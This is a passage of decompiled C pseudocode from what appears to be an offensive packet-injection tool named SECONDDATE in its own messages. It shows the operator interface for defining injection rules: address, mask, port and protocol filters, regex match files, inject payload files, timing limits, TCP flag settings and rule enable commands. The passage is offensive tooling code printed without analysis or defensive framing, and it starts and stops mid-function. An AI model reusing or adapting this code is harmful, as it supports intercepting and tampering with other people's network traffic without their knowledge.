                BYTE2(i) = 0;
              }
              else if ( !strcmp(*(&stru_8089720.name + 4 * longind),
"tcpflag") )// tcpflag
              {
                if ( !v226 )
                {
                  HIBYTE(i) = 0;
                  v226 = 1;
                }
                v124 = optarg;
                if ( !strcasecmp(optarg, "FIN") )// FIN
                {
                  HIBYTE(i) |= 1u;
```

```
                }
                else if ( !strcasecmp(v124, "SYN") )// SYN
                {
                  HIBYTE(i) |= 2u;
                }
                else if ( !strcasecmp(v124, "RST") )// RST
                {
                  HIBYTE(i) |= 4u;
                }
                else if ( !strcasecmp(v124, "PSH") )// PSH
                {
                  HIBYTE(i) |= 8u;
                }
                else if ( !strcasecmp(v124, "ACK") )// ACK
                {
                  HIBYTE(i) |= 0x10u;
                }
                else if ( !strcasecmp(v124, "URG") )// URG
                {
                  HIBYTE(i) |= 0x20u;
                }
                else if ( !strcasecmp(v124, "NULL") ||
!strcasecmp(v124, "NONE") )
                {
                  HIBYTE(i) = 0;
                }
                else
                {
                  fwrite("SECONDDATE: bad TCP flag.\n", 1u, 0x1Au,
stderr);
                  v230 = 1;
                }
              }
              else if ( !strcmp(*(&stru_8089720.name + 4 * longind),
"mininterval") )
              {
                v151 = __strtol_internal(optarg, 0, 10, 0);
                if ( v151 <= 59 )
                {
                  fwrite("SECONDDATE: mininterval value must be >=
60.\n", 1u, 0x2Du, stderr);
                  v230 = 1;
                }
```

```
                  HIWORD(v152) = HIWORD(v151);
                  LOWORD(v242) = v151;
                  LOWORD(v152) = __ROR2__(v151, 8);
                  v153 = __ROR4__(v152, 16);
                  LOWORD(v153) = __ROR2__(v153, 8);
                  v267 = v153;
                }
                else if ( !strcmp(*(&stru_8089720.name + 4 * longind),
"maxinjections") )
                {
                  v187 = __strtol_internal(optarg, 0, 10, 0);
                  if ( v187 < 0 )
                  {
                    fwrite("SECONDDATE: maxinjections value must be >=
0.\n", 1u, 0x2Eu, stderr);
                    v230 = 1;
                  }
                  HIWORD(v188) = HIWORD(v187);
                  LOWORD(v242) = v187;
                  LOWORD(v188) = __ROR2__(v187, 8);
                  v189 = __ROR4__(v188, 16);
                  LOWORD(v189) = __ROR2__(v189, 8);
                  v268 = v189;
                }
                else if ( !strcmp(*(&stru_8089720.name + 4 * longind),
"injectwindow") )
                {
                  v194 = __strtol_internal(optarg, 0, 10, 0);
                  if ( v194 < 0 )
                  {
                    fwrite("SECONDDATE: injectwindow value must be >=
0.\n", 1u, 0x2Du, stderr);
                    v230 = 1;
                  }
                  HIWORD(v195) = HIWORD(v194);
                  LOWORD(v242) = v194;
                  LOWORD(v195) = __ROR2__(v194, 8);
                  v196 = __ROR4__(v195, 16);
                  LOWORD(v196) = __ROR2__(v196, 8);
                  v269 = v196;
                }
                else if ( !strcmp(*(&stru_8089720.name + 4 * longind),
"srcaddr") )
```

```
                {
                  if ( !inet_aton(optarg, &inp) )
                  {
                    fwrite("SECONDDATE: parse error in srcaddr
option.\n", 1u, 0x2Bu, stderr);
                    v230 = 1;
                  }
                  s_addr = inp.s_addr;
                }
                else if ( !strcmp(*(&stru_8089720.name + 4 * longind),
"srcmask") )
                {
                  if ( !inet_aton(optarg, &inp) )
                  {
                    fwrite("SECONDDATE: parse error in srcmask
option.\n", 1u, 0x2Bu, stderr);
                    v230 = 1;
                  }
                  v261 = inp.s_addr;
                  v238 = 1;
                }
                else if ( !strcmp(*(&stru_8089720.name + 4 * longind),
"dstaddr") )
                {
                  if ( !inet_aton(optarg, &inp) )
                  {
                    fwrite("SECONDDATE: parse error in dstaddr
option.\n", 1u, 0x2Bu, stderr);
                    v230 = 1;
                  }
                  v262 = inp.s_addr;
                }
                else if ( !strcmp(*(&stru_8089720.name + 4 * longind),
"dstmask") )
                {
                  if ( !inet_aton(optarg, &inp) )
                  {
                    fwrite("SECONDDATE: parse error in dstmask
option.\n", 1u, 0x2Bu, stderr);
                    v230 = 1;
                  }
                  v263 = inp.s_addr;
                  v232 = 1;
```

```
                }
                else if ( !strcmp(*(&stru_8089720.name + 4 * longind),
"protocol") )
                {
                  v197 = __strtol_internal(optarg, 0, 10, 0);
                  if ( v197 > 255 )
                  {
                    fwrite("SECONDDATE: parse error in protocol
option.\n", 1u, 0x2Cu, stderr);
                    v230 = 1;
                  }
                  LOWORD(v242) = v197;
                  v264 = __ROR2__(v197, 8);
                }
                else if ( !strcmp(*(&stru_8089720.name + 4 * longind),
"srcport") )
                {
                  if ( *optarg != 48 || optarg[1] )
                  {
                    v198 = __strtol_internal(optarg, 0, 10, 0);
                    v199 = v198;
                    if ( !v198 || (LOWORD(v242) = v198, v198 > 0xFFFF)
)
                    {
                      fwrite("SECONDDATE: parse error in srcport
option.\n", 1u, 0x2Bu, stderr);
                      LOWORD(v242) = v199;
                      v230 = 1;
                    }
                  }
                  v265 = __ROR2__(v242, 8);
                }
                else if ( !strcmp(*(&stru_8089720.name + 4 * longind),
"dstport") )
                {
                  if ( *optarg != 48 || optarg[1] )
                  {
                    v200 = __strtol_internal(optarg, 0, 10, 0);
                    v201 = v200;
                    if ( !v200 || (LOWORD(v242) = v200, v200 > 0xFFFF)
)
                    {
                      fwrite("SECONDDATE: parse error in dstport
```

```
option.\n", 1u, 0x2Bu, stderr);
                    LOWORD(v242) = v201;
                    v230 = 1;
                  }
                }
                v266 = __ROR2__(v242, 8);
              }
              else if ( !strcmp(*(&stru_8089720.name + 4 * longind),
"regexfile") )
              {
                v202 = fopen(optarg, "r");
                stream = v202;
                if ( v202 )
                {
                  fseek(v202, 0, 2);
                  v203 = ftell(stream);
                  fseek(stream, 0, 0);
                  if ( v203 < 0 )
                  {
                    fwrite("SECONDDATE: unable to determine regex
file length\n", 1u, 0x32u, stderr);
                    v230 = 1;
                  }
                  else if ( v203 > 255 )
                  {
                    fprintf(stderr, "SECONDDATE: regex is too long.
Max size = %u.\n", 256);
                    v230 = 1;
                  }
                  memset(v271, 0, sizeof(v271));
                  if ( v203 != fread(v271, 1u, 0xFFu, stream) )
                  {
                    fwrite("SECONDDATE: error reading regex
file.\n", 1u, 0x26u, stderr);
                    v230 = 1;
                  }
                  fclose(stream);
                  v227 = 1;
                }
                else
                {
                  fwrite("SECONDDATE: unable to open regex file.\n",
1u, 0x27u, stderr);
```

```
                    v230 = 1;
                  }
                }
                else if ( !strcmp(*(&stru_8089720.name + 4 * longind),
"injectfile") )
                {
                  v204 = fopen(optarg, "r");
                  stream = v204;
                  if ( !v204 )
                  {
                    fwrite("SECONDDATE: unable to open inject
file.\n", 1u, 0x28u, stderr);
                    goto LABEL_148;
                  }
                  fseek(v204, 0, 2);
                  v205 = ftell(stream);
                  fseek(stream, 0, 0);
                  if ( v205 < 0 )
                  {
                    fwrite("SECONDDATE: unable to determine inject
file length\n", 1u, 0x33u, stderr);
                    v230 = 1;
                  }
                  else if ( v205 > 511 )
                  {
                    fprintf(stderr, "SECONDDATE: inject is too long.
Max size = %u.\n", 512);
                    v230 = 1;
                  }
                  memset(v272, 0, 0x200u);
                  if ( v205 != fread(v272, 1u, 0x1FFu, stream) )
                  {
                    fwrite("SECONDDATE: error reading inject file.\n",
1u, 0x27u, stderr);
                    v230 = 1;
                  }
                  LOWORD(v205) = __ROR2__(v205, 8);
                  v206 = __ROR4__(v205, 16);
                  LOWORD(v206) = __ROR2__(v206, 8);
                  fclose(stream);
                  v270 = v206;
                }
              }
```

```
            }
            if ( v228 != 2 )
              goto LABEL_67;
            if ( *nptr != '?' || nptr[1] )
            {
              v32 = __strtol_internal(nptr, 0, 10, 0);
              if ( v32 <= 0 || (v241 = v32, v32 > 64) )
              {
LABEL_67:
                fprintf(stderr, "SECONDDATE: You must choose a rule
number between 1 and %d\n", 64);
                while ( 1 )
                {
                  while ( 1 )
                  {
                    v33 = readline(s);
                    v34 = v33;
                    if ( v33 )
                      break;
                    fwrite("SECONDDATE: Invalid rule number.  Try
again.\n", 1u, 0x2Du, stderr);
                  }
                  v35 = __strtol_internal(v33, 0, 10, 0);
                  v36 = v35;
                  if ( v35 > 0 && v35 <= 64 )
                    break;
                  fwrite("SECONDDATE: Invalid rule number.  Try
again.\n", 1u, 0x2Du, stderr);
                  free(v34);
                }
                free(v34);
                v241 = v36;
              }
              s_addr = 0;
              v37 = v241 - 1;
              LOWORD(v37) = __ROR2__(v241 - 1, 8);
              v38 = __ROR4__(v37, 16);
              LOWORD(v38) = __ROR2__(v38, 8);
              v259 = v38;
              v261 = 0;
              while ( 1 )
              {
                v39 = readline("Source address (defaults to 'any'):
```

```
");
                v40 = v39;
                if ( v39 )
                {
                  v41 = v39;
                  if ( *v39 == 97 && *(v39 + 1) == 110 && *(v39 + 2)
== 121 && !*(v39 + 3) )
                    break;
                  if ( inet_aton(v39, &inp) )
                    break;
                }
                if ( !*v40 )
                  goto LABEL_81;
                fwrite("SECONDDATE: Invalid IP address.  Try
again.\n", 1u, 0x2Cu, stderr);
                free(v40);
              }
              if ( *v40
                && (*v41 != 97
                 || *(&byte_807B42E + 1) != v41[1]
                 || *(&byte_807B42E + 2) != v41[2]
                 || *(&byte_807B42E + 3) != v41[3]) )
              {
                s_addr = inp.s_addr;
                free(v40);
                while ( 1 )
                {
                  v40 = readline("Source address mask (defaults to
255.255.255.255): ");
                  if ( v40 && inet_aton(v40, &inp) )
                    goto LABEL_317;
                  if ( !*v40 )
                    break;
                  fwrite("SECONDDATE: Invalid mask.  Try again.\n",
1u, 0x26u, stderr);
                  free(v40);
                }
                inet_aton("255.255.255.255", &inp);
LABEL_317:
                v261 = inp.s_addr;
              }
LABEL_81:
              free(v40);
```

```
              v262 = 0;
              v263 = 0;
              while ( 1 )
              {
                v42 = readline("Destination address (defaults to
'any'): ");
                v43 = v42;
                if ( v42 )
                {
                  v44 = v42;
                  if ( *v42 == 97 && *(v42 + 1) == 110 && *(v42 + 2)
== 121 && !*(v42 + 3) )
                    break;
                  if ( inet_aton(v42, &inp) )
                    break;
                }
                if ( !*v43 )
                  goto LABEL_90;
                fwrite("SECONDDATE: Invalid IP address.  Try
again.\n", 1u, 0x2Cu, stderr);
                free(v43);
              }
              if ( *v43
                && (*v44 != 97
                 || *(&byte_807B42E + 1) != v44[1]
                 || *(&byte_807B42E + 2) != v44[2]
                 || *(&byte_807B42E + 3) != v44[3]) )
              {
                v262 = inp.s_addr;
                free(v43);
                while ( 1 )
                {
                  v43 = readline("Destination address mask (defaults
to 255.255.255.255): ");
                  if ( v43 && inet_aton(v43, &inp) )
                    goto LABEL_304;
                  if ( !*v43 )
                    break;
                  fwrite("SECONDDATE: Invalid mask.  Try again.\n",
1u, 0x26u, stderr);
                  free(v43);
                }
                inet_aton("255.255.255.255", &inp);
```

```
LABEL_304:
                v263 = inp.s_addr;
              }
LABEL_90:
              free(v43);
              puts("Valid protocol numbers are the following:");
              puts("6\tTCP");
              puts("17\tUDP");
              puts("0\tall protocols");
              while ( 1 )
              {
                v45 = readline("Protocol Number (defaults to protocol
6): ");
                v46 = v45;
                if ( v45 )
                {
                  if ( !*v45 )
                  {
                    v49 = 6;
                    LOWORD(v241) = 6;
LABEL_180:
                    free(v46);
LABEL_181:
                    v78 = __ROR2__(v49, 8);
                    v264 = v78;
                    if ( v78 != 1536 && v78 != 4352 )
                      goto LABEL_183;
                    puts("For TCP or UDP, please enter port numbers.
0 implies 'any' port.");
                    while ( 1 )
                    {
                      v118 = readline("Source Port Number (defaults to
'any'): ");
                      if ( v118 )
                      {
                        if ( *v118 == 48 && !*(v118 + 1) )
                        {
                          v120 = v241;
                          goto LABEL_328;
                        }
                        v119 = __strtol_internal(v118, 0, 10, 0);
                        if ( v119 && v119 <= 0xFFFF )
                        {
```

```
                            v120 = v119;
                            LOWORD(v241) = v119;
                            goto LABEL_328;
                          }
                          LOWORD(v241) = v119;
                        }
                        if ( !*v118 )
                        {
                          v120 = 0;
                          LOWORD(v241) = 0;
LABEL_328:
                          free(v118);
                          v265 = __ROR2__(v120, 8);
                          while ( 1 )
                          {
                            v121 = readline("Destination Port Number
(defaults to 'any'): ");
                            if ( v121 )
                            {
                              if ( *v121 == 48 && !*(v121 + 1) )
                              {
                                v123 = v241;
                                goto LABEL_338;
                              }
                              v122 = __strtol_internal(v121, 0, 10, 0);
                              if ( v122 && v122 <= 0xFFFF )
                              {
                                v123 = v122;
LABEL_338:
                                free(v121);
                                v266 = __ROR2__(v123, 8);
LABEL_183:
                                v79 = 0;
                                puts("Configuring min interval, max
injections and inject window examples:");
                                puts("All times are input in seconds");
                                puts(
                                  "\t10 injections per 2 hour window
until manually disabled and injections are 5 minutes apart.");
                                puts("\t\tmin interval = 300, max
injections = 10, inject window = 7200");
                                puts("\t10 injections then disable and
injections are 5 minutes apart");
```

```
                                puts("\t\tmin interval = 300, max
injections = 10, inject window = 0");
                                puts("\tinject every 5 minutes until
manually disabled");
                                puts("\t\tmin interval = 300, max
injections = 0, inject window = 0");
                                puts("\tThe default is 5 injections the
disable and injections are 60 seconds apart");
                                while ( 1 )
                                {
                                  while ( !v79 )
                                    v79 = readline("Enter minimum
interval between injections (defaults to 60): ");
                                  if ( !*v79 )
                                    break;
                                  v80 = __strtol_internal(v79, 0, 10,
0);
                                  if ( v80 > 59 )
                                  {
                                    v81 = v80;
                                    v242 = v80;
                                    goto LABEL_190;
                                  }
                                  fwrite(
                                    "SECONDDATE: minimum interval must
be greater than 60 seconds\n",
                                    1u,
                                    0x3Du,
                                    stderr);
                                  v220 = v79;
                                  v79 = 0;
                                  free(v220);
                                }
                                v81 = 60;
                                v242 = 60;
LABEL_190:
                                free(v79);
                                LOWORD(v81) = __ROR2__(v81, 8);
                                v82 = __ROR4__(v81, 16);
                                LOWORD(v82) = __ROR2__(v82, 8);
                                v267 = v82;
                                while ( 1 )
                                {
```

```
                                v83 = readline("Enter max injections
per window (defaults to 5): ");
                                if ( v83 )
                                {
                                  if ( *v83 == 48 && !*(v83 + 1) )
                                  {
                                    v85 = v242;
                                    goto LABEL_199;
                                  }
                                  v84 = __strtol_internal(v83, 0, 10,
0);
                                  if ( v84 > 0 )
                                  {
                                    v85 = v84;
                                    LOWORD(v242) = v84;
                                    goto LABEL_199;
                                  }
                                  v242 = v84;
                                }
                                if ( !*v83 )
                                {
                                  v85 = 5;
                                  LOWORD(v242) = 5;
LABEL_199:
                                  free(v83);
                                  HIWORD(v86) = HIWORD(v85);
                                  LOWORD(v86) = __ROR2__(v85, 8);
                                  v87 = __ROR4__(v86, 16);
                                  LOWORD(v87) = __ROR2__(v87, 8);
                                  v268 = v87;
                                  if ( !v87 )
                                    goto LABEL_209;
                                  v242 = 0;
                                  while ( 1 )
                                  {
                                    v88 = readline("Enter injection
window (defaults to 0): ");
                                    if ( v88 )
                                    {
                                      if ( *v88 == 48 && !*(v88 + 1) )
                                        goto LABEL_208;
                                      v89 = __strtol_internal(v88, 0,
10, 0);
```

```
                                        if ( v89 > 0 )
                                        {
                                          v242 = v89;
LABEL_208:
                                          free(v88);
                                          HIWORD(v90) = HIWORD(v242);
                                          LOWORD(v90) = __ROR2__(v242,
8);
                                          v91 = __ROR4__(v90, 16);
                                          LOWORD(v91) = __ROR2__(v91,
8);
                                          v269 = v91;
LABEL_209:
                                          BYTE1(i) = 1;
                                          while ( 1 )
                                          {
                                            v92 = readline("Would you
like to perform HTTP GET checks (y/n)? (defaults to y): ");
                                            v93 = v92;
                                            if ( v92 )
                                            {
                                              v94 = *v92;
                                              v95 = v92;
                                              if ( v94 == 121 && !v92[1]
)
                                                goto LABEL_218;
                                              if ( v94 == 110 && !v92[1]
)
                                                goto LABEL_291;
                                            }
                                            if ( !*v92 )
                                              break;
                                            fwrite("SECONDDATE: You must
answer y or n.  Try again.\n", 1u, 0x30u, stderr);
                                            free(v93);
                                          }
                                          v95 = v92;
LABEL_218:
                                          if ( *v95 == 110 )
                                          {
LABEL_291:
                                            if ( !v95[1] )
                                              BYTE1(i) = 0;
```

```
                                        }
                                        free(v92);
                                        BYTE2(i) = 1;
                                        while ( 1 )
                                        {
                                          v96 = readline("Would you
like to use a custom regular expression (y/n)? (defaults to y): ");
                                          v97 = v96;
                                          if ( v96 )
                                          {
                                            v98 = *v96;
                                            v99 = v96;
                                            if ( v98 == 121 && !v96[1]
)
                                              goto LABEL_228;
                                            if ( v98 == 110 && !v96[1]
)
                                              goto LABEL_289;
                                          }
                                          if ( !*v96 )
                                            break;
                                          fwrite("SECONDDATE: You must
answer y or n.  Try again.\n", 1u, 0x30u, stderr);
                                          free(v97);
                                        }
                                        v99 = v96;
LABEL_228:
                                        if ( *v99 == 110 )
                                        {
LABEL_289:
                                          if ( !v99[1] )
                                          {
                                            puts(aSettingCheckpa);
                                            BYTE2(i) = 0;
                                          }
                                        }
                                        v100 = 0;
                                        free(v97);
                                        if ( v264 == 1536 )
                                        {
                                          while ( 1 )
                                          {
                                            v109 = readline("Would you
```

```
like to change the TCP flags on the inject packet "

"tosomething other the FIN ACK PSH(y/n)? (defaults to n): ");
                                        v100 = v109;
                                        if ( v109 )
                                        {
                                          v110 = *v109;
                                          v111 = v109;
                                          if ( v110 == 121 )
                                          {
                                            v225 = &byte_807DA70;
                                            if ( !v109[1] )
                                              goto LABEL_418;
                                          }
                                          if ( v110 == 110 &&
!v109[1] )
                                            goto LABEL_264;
                                        }
                                        if ( !*v109 )
                                          break;
                                        fwrite(
                                          "SECONDDATE: You must
answer y or n.  Try again.\n",
                                          1u,
                                          0x30u,
                                          stderr);
                                        free(v100);
                                      }
                                      v111 = v109;
                                      HIBYTE(i) = 25;
LABEL_264:
                                      if ( *v111 == 121
                                        && (v225 = &byte_807DA6F +
1, *(&byte_807DA6F + 1) == v111[1]) )
                                      {
LABEL_418:
                                        HIBYTE(i) = 0;
                                        while ( 1 )
                                        {
                                          v161 = readline("Would
you like set the URG flag? (defaults to n): ");
                                          if ( v161 )
                                          {
```

```
                                        v162 = *v161;
                                        v163 = v161;
                                        if ( v162 == 121 &&
*v225 == v161[1] )
                                          goto LABEL_429;
                                        if ( v162 == 110 &&
!v161[1] )
                                          goto LABEL_427;
                                      }
                                      if ( !*v161 )
                                        break;
                                      fwrite(
                                        "SECONDDATE: You must
answer y or n.  Try again.\n",
                                        1u,
                                        0x30u,
                                        stderr);
                                    }
                                    v163 = v161;
LABEL_427:
                                    if ( *v163 == 121 && *v225
== v163[1] )
LABEL_429:
                                      HIBYTE(i) |= 0x20u;
                                    free(v161);
                                    free(0);
                                    while ( 1 )
                                    {
                                      v164 = readline("Would
you like set the ACK flag? (defaults to n): ");
                                      if ( v164 )
                                      {
                                        v165 = *v164;
                                        v166 = v164;
                                        if ( v165 == 121 &&
*v225 == v164[1] )
                                          goto LABEL_441;
                                        if ( v165 == 110 &&
!v164[1] )
                                          goto LABEL_439;
                                      }
                                      if ( !*v164 )
                                        break;
```

```
                                        fwrite(
                                          "SECONDDATE: You must
answer y or n.  Try again.\n",
                                          1u,
                                          0x30u,
                                          stderr);
                                      }
                                      v166 = v164;
LABEL_439:
                                      if ( *v166 == 121 && *v225
== v166[1] )
LABEL_441:
                                        HIBYTE(i) |= 0x10u;
                                      free(v164);
                                      free(0);
                                      while ( 1 )
                                      {
                                        v167 = readline("Would
you like set the PSH flag? (defaults to n): ");
                                        if ( v167 )
                                        {
                                          v168 = *v167;
                                          v169 = v167;
                                          if ( v168 == 121 &&
*v225 == v167[1] )
                                            goto LABEL_453;
                                          if ( v168 == 110 &&
!v167[1] )
                                            goto LABEL_451;
                                        }
                                        if ( !*v167 )
                                          break;
                                        fwrite(
                                          "SECONDDATE: You must
answer y or n.  Try again.\n",
                                          1u,
                                          0x30u,
                                          stderr);
                                      }
                                      v169 = v167;
LABEL_451:
                                      if ( *v169 == 121 && *v225
== v169[1] )
```

```
LABEL_453:
                                          HIBYTE(i) |= 8u;
                                        free(v167);
                                        free(0);
                                        while ( 1 )
                                        {
                                          v170 = readline("Would
you like set the RST flag? (defaults to n): ");
                                          if ( v170 )
                                          {
                                            v171 = *v170;
                                            v172 = v170;
                                            if ( v171 == 121 &&
*v225 == v170[1] )
                                              goto LABEL_465;
                                            if ( v171 == 110 &&
!v170[1] )
                                              goto LABEL_463;
                                          }
                                          if ( !*v170 )
                                            break;
                                          fwrite(
                                            "SECONDDATE: You must
answer y or n.  Try again.\n",
                                            1u,
                                            0x30u,
                                            stderr);
                                        }
                                        v172 = v170;
LABEL_463:
                                        if ( *v172 == 121 && *v225
== v172[1] )
LABEL_465:
                                          HIBYTE(i) |= 4u;
                                        free(v170);
                                        free(0);
                                        while ( 1 )
                                        {
                                          v173 = readline("Would
you like set the SYN flag? (defaults to n): ");
                                          if ( v173 )
                                          {
                                            v174 = *v173;
```

```
                                        v175 = v173;
                                        if ( v174 == 121 &&
*v225 == v173[1] )
                                          goto LABEL_477;
                                        if ( v174 == 110 &&
!v173[1] )
                                          goto LABEL_475;
                                      }
                                      if ( !*v173 )
                                        break;
                                      fwrite(
                                        "SECONDDATE: You must
answer y or n.  Try again.\n",
                                        1u,
                                        0x30u,
                                        stderr);
                                    }
                                    v175 = v173;
LABEL_475:
                                    if ( *v175 == 121 && *v225
== v175[1] )
LABEL_477:
                                      HIBYTE(i) |= 2u;
                                    free(v173);
                                    free(0);
                                    while ( 1 )
                                    {
                                      v176 = readline("Would
you like set the FIN flag? (defaults to n): ");
                                      if ( v176 )
                                      {
                                        v177 = *v176;
                                        v178 = v176;
                                        if ( v177 == 121 &&
*v225 == v176[1] )
                                          goto LABEL_489;
                                        if ( v177 == 110 &&
!v176[1] )
                                          goto LABEL_487;
                                      }
                                      if ( !*v176 )
                                        break;
                                      fwrite(
```

```
                                                "SECONDDATE: You must
answer y or n.  Try again.\n",
                                                1u,
                                                0x30u,
                                                stderr);
                                            }
                                            v178 = v176;
LABEL_487:
                                            if ( *v178 == 121 && *v225
== v178[1] )
LABEL_489:
                                              HIBYTE(i) |= 1u;
                                            free(v176);
                                            free(0);
                                          }
                                          else
                                          {
                                            HIBYTE(i) = 25;
                                          }
                                        }
                                        v101 = 0;
                                        free(v100);
                                        if ( BYTE2(i) != 1 )
                                          goto LABEL_231;
                                        while ( 2 )
                                        {
                                          v106 = readline("Please
provide the filename containing the regular expression: ");
                                          v107 = v106;
                                          if ( v106 )
                                          {
                                            v108 = fopen(v106, "r");
                                            stream = v108;
                                            if ( v108 )
                                            {
                                              if ( !fseek(v108, 0, 2)
)
                                              {
                                                v101 = ftell(stream);
                                                if ( v101 >= 0
                                                  && !fseek(stream, 0,
0)
                                                  && v101 <= 256
```

```
                                                    && v101 ==
fread(v271, 1u, 0x100u, stream)
                                                    && !fclose(stream) )
                                                  {
                                                    LOWORD(v101) =
__ROR2__(v101, 8);
                                                    v112 =
__ROR4__(v101, 16);
                                                    LOWORD(v112) =
__ROR2__(v112, 8);
                                                    v270 = v112;
                                                    free(v107);
                                                    stream = 0;
LABEL_231:
                                                    v102 = 0;
                                                    while ( 2 )
                                                    {
                                                      v103 =
readline("Please provide the filename containing the inject text: ");
                                                      v104 = v103;
                                                      if ( v103 )
                                                      {
                                                        v105 =
fopen(v103, "r");
                                                        stream = v105;
                                                        if ( v105 )
                                                        {
                                                          if (
!fseek(v105, 0, 2) )
                                                          {
                                                            v102 =
ftell(stream);
                                                            if ( v102 >=
0 && !fseek(stream, 0, 0) && v102 <= 512 )
                                                            {
                                                              v236 =
fread(v272, 1u, 0x200u, stream);
                                                              if ( v102
== v236 )
                                                              {
                                                                if (
!fclose(stream) )
                                                                {
```

```
HIWORD(v11) = HIWORD(v102);
LOWORD(v11) = __ROR2__(v102, 8);
                                                        v12 =
__ROR4__(v11, 16);
LOWORD(v12) = __ROR2__(v12, 8);
                                                        v270 =
v12;
free(v104);
                                                        v236 =
v102;
                                                        stream
= 0;
                                                        goto
LABEL_22;
                                                      }
                                                      v236 =
v102;
                                                    }
                                                  }
                                                }
LABEL_239:
                                                if ( v102 < 0
)
                                                {
                                                  fwrite(
"SECONDDATE: Unable to determine file size.  Try again.\n",
                                                    1u,
                                                    0x37u,
                                                    stderr);
                                                }
                                                else if ( v102
> 256 )
                                                {
                                                  fwrite(
"SECONDDATE: Inject text too long.  Try again.\n",
                                                    1u,
                                                    0x2Eu,
```

```
                                                    stderr);
                                                }
                                                else if ( v236
!= v102 )
                                                {
                                                  fprintf(
                                                    stderr,

"SECONDDATE: only read %d of %d bytes.  Try again.\n",
                                                    v236,
                                                    v102);
                                                }
LABEL_243:
                                                if ( v104 )
                                                  free(v104);
                                                continue;
                                              }
                                            }
                                            else if ( stream )
                                            {
                                              goto LABEL_239;
                                            }
                                            break;
                                          }
                                          fprintf(
                                            stderr,
                                            "SECONDDATE: Error
opening inject file. %s Try again.\n",

                                            v104);
                                          goto LABEL_243;
                                        }
                                      }
LABEL_252:
                                      if ( v101 < 0 )
                                      {
                                        fwrite(
                                          "SECONDDATE: Unable
to determine file size.  Try again.\n",

                                          1u,
                                          0x37u,
                                          stderr);
                                      }
                                      else if ( v101 > 256 )
```

```
                                                {
                                                  fwrite("SECONDDATE:
Pattern too long.  Try again.\n", 1u, 0x2Au, stderr);
                                                }
LABEL_255:
                                                if ( v107 )
                                                  free(v107);
                                                continue;
                                              }
                                            }
                                            else if ( stream )
                                            {
                                              goto LABEL_252;
                                            }
                                            break;
                                          }
                                          fwrite(
                                            "SECONDDATE: Error opening
pattern file.  Try again.\n",
                                            1u,
                                            0x34u,
                                            stderr);
                                          goto LABEL_255;
                                        }
                                        v242 = v89;
                                      }
                                      if ( !*v88 )
                                        goto LABEL_208;
                                      fwrite("SECONDDATE: Invalid inject
window.  Try again.\n", 1u, 0x2Fu, stderr);
                                      free(v88);
                                    }
                                  }
                                  fwrite("SECONDDATE: Invalid max
injections.  Try again.\n", 1u, 0x30u, stderr);
                                  free(v83);
                                }
                              }
                              LOWORD(v241) = v122;
                            }
                            if ( !*v121 )
                            {
                              v123 = 0;
```

```
                        goto LABEL_338;
                      }
                      fwrite("SECONDDATE: Invalid port number.
Try again.\n", 1u, 0x2Du, stderr);
                      free(v121);
                    }
                  }
                  fwrite("SECONDDATE: Invalid port number.  Try
again.\n", 1u, 0x2Du, stderr);
                  free(v118);
                }
              }
              v47 = __strtol_internal(v45, 0, 10, 0);
              v48 = v47;
              if ( !v47 || v47 == 6 )
              {
                v49 = v47;
                LOWORD(v241) = v47;
                goto LABEL_180;
              }
              if ( v47 == 17 )
              {
                v49 = 17;
                LOWORD(v241) = 17;
                goto LABEL_180;
              }
              fwrite("SECONDDATE: Invalid Protocol number.  Try
again.\n", 1u, 0x31u, stderr);
              free(v46);
              v241 = v48;
            }
            if ( !v241 || v241 == 6 )
            {
              v49 = v241;
              goto LABEL_181;
            }
            if ( v241 == 17 )
            {
              v49 = 17;
              goto LABEL_181;
            }
          }
        }
```

```
            fwrite(
              "SECONDDATE: Usage: rule [rulenum] [--srcaddr addr] [--
srcmask mask] [--dstaddr addr] [--dstmask mask] [--p"
              "rotocol prot] [--srcport port] [--dstport port] [--
regexfile file] [--injectfile file] [--mininterval] [--"
              "maxinjections] [--injectwindow] [--checkhttp|--
nocheckhttp] [--checkregex|--nocheckregex] [--tcpflag SYN|A"
              "CK|URG|PSH|RST|FIN] \n",
              1u,
              0x153u,
              stderr);
            if ( v229 )
            {
              v10 = v229;
LABEL_20:
              free(v10);
              continue;
            }
          }
          v59 = v224;
          if ( v224 > 8 )
            v59 = 8;
          if ( !memcmp(ptr, "disable", v59) )   // disable
            break;
          v60 = v224;
          if ( v224 > 7 )
            v60 = 7;
          if ( !memcmp(ptr, "enable", v60) )    // enable
          {
            v61 = 0;
            v62 = __strdup(str);
            do
            {
              v63 = strtok(v62, " ");
              (&v275)[v61] = v63;
              if ( !v63 )
                break;
              ++v61;
              v62 = 0;
            }
            while ( v61 != 128 );
            optind = 0;
            v246 = 0;
```

```
            while ( 1 )
            {
              v64 = getopt_long(v61, &v275, &byte_8082320, &longopts,
&longind);
              if ( v64 == -1 )
                break;
              if ( v64 )
                v246 = 1;
            }
            v52 = v61 - 1;
            if ( v61 - 1 > optind || v246 )
            {
              fwrite("SECONDDATE: Usage: enable [--delay h:m:s]
[rulenum]\n", 1u, 0x34u, stderr);
              free(v62);
            }
            else
            {
              if ( v52 != optind )
                goto LABEL_111;
              v242 = __strtol_internal((&v275)[v52], 0, 10, 0);
              if ( (v242 - 1) > 0x3F )
              {
                fwrite("SECONDDATE: Invalid rule number.\n", 1u,
0x21u, stderr);
                while ( 1 )
                {
                  while ( 1 )
                  {
                    v190 = readline(s);
                    v191 = v190;
                    if ( v190 )
                      break;
                    fwrite("SECONDDATE: Invalid rule number.  Try
again.\n", 1u, 0x2Du, stderr);
                  }
                  v192 = __strtol_internal(v190, 0, 10, 0);
                  v193 = v192;
                  if ( v192 > 0 && v192 <= 64 )
                    break;
                  fwrite("SECONDDATE: Invalid rule number.  Try
again.\n", 1u, 0x2Du, stderr);
                  free(v191);
```

```
                }
                free(v191);
                v242 = v193;
                if ( (v193 - 1) > 0x3F )
                {
LABEL_111:
                  fprintf(stderr, "SECONDDATE: You must choose a rule
number between 1 and %d\n", 64);
                  while ( 1 )
                  {
                    while ( 1 )
                    {
                      v53 = readline(s);
                      if ( v53 )
                        break;
                      fwrite("SECONDDATE: Invalid rule number.  Try
again.\n", 1u, 0x2Du, stderr);
                    }
                    v54 = __strtol_internal(v53, 0, 10, 0);
                    v55 = v54;
                    if ( v54 > 0 && v54 <= 64 )
                      break;
                    fwrite("SECONDDATE: Invalid rule number.  Try
again.\n", 1u, 0x2Du, stderr);
                    free(v53);
                  }
                  free(v53);
                  v242 = v55;
                }
              }
              req.command = 0x3000000;
              v56 = v242 - 1;
              LOWORD(v56) = __ROR2__(v242 - 1, 8);
              v57 = __ROR4__(v56, 16);
              LOWORD(v57) = __ROR2__(v57, 8);
              v259 = v57;
